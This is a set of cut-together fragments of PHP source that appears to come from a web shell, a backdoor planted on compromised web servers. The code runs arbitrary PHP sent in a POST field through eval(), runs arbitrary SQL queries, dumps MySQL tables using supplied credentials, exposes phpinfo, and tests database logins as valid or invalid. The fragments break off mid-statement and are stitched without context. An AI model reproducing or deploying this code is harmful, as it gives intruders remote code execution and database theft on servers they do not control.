header('Content-Encoding: ' . $content_encoding); } header("Content-type: " . $mime_type); header("Content-disposition: attachment; filename=\"" . $filename . "\";"); echo $filedump; exit; } } if (isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=" . $_SERVER['PHP_SELF'] . ">BACK</a> ]</b></font></div>"; die; } if (!empty($_POST['cccc']) && $_POST['cccc'] == "db_query") { echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';', $_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if (!$sql->connect()) { echo "<div align=center><font face=Verdana size=-2 color=red><b>" . $sql->error . "</b></font></div>"; } else { if (!empty($sql->base) && !$sql->select_db()) { echo "<div align=center><font face=Verdana size=-2 color=red><b>" . $sql->error . "</b></font></div>"; } else { foreach ($querys as $num => $query) {
if (isset($_POST['reverse'])) { $count *= 2; } echo $lang[$language . '_text97'] . $count . "\r\n"; echo $lang[$language . '_text98'] . $suc . "\r\n"; } if ($_POST['cmd'] == "php_eval") { $eval = @str_replace("<?", "", $_POST['php_eval']); $eval = @str_replace("?>", "", $eval); @eval($eval); } if ($_POST['cmd'] == "mysql_dump") { if (isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if (!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } else { if (!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } else { if (!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } else {
function z4u($host, $user, $pass, $port, $dbtype, $base = '') { $sql = new my_sql(); $sql->db = $dbtype; $sql->host = $host; $sql->port = $port; $sql->user = $user; $sql->pass = $pass; if ($base != '') { $sql->base = $base; } if ($sql->connect()) { return "valid"; } else { return "invalid"; } }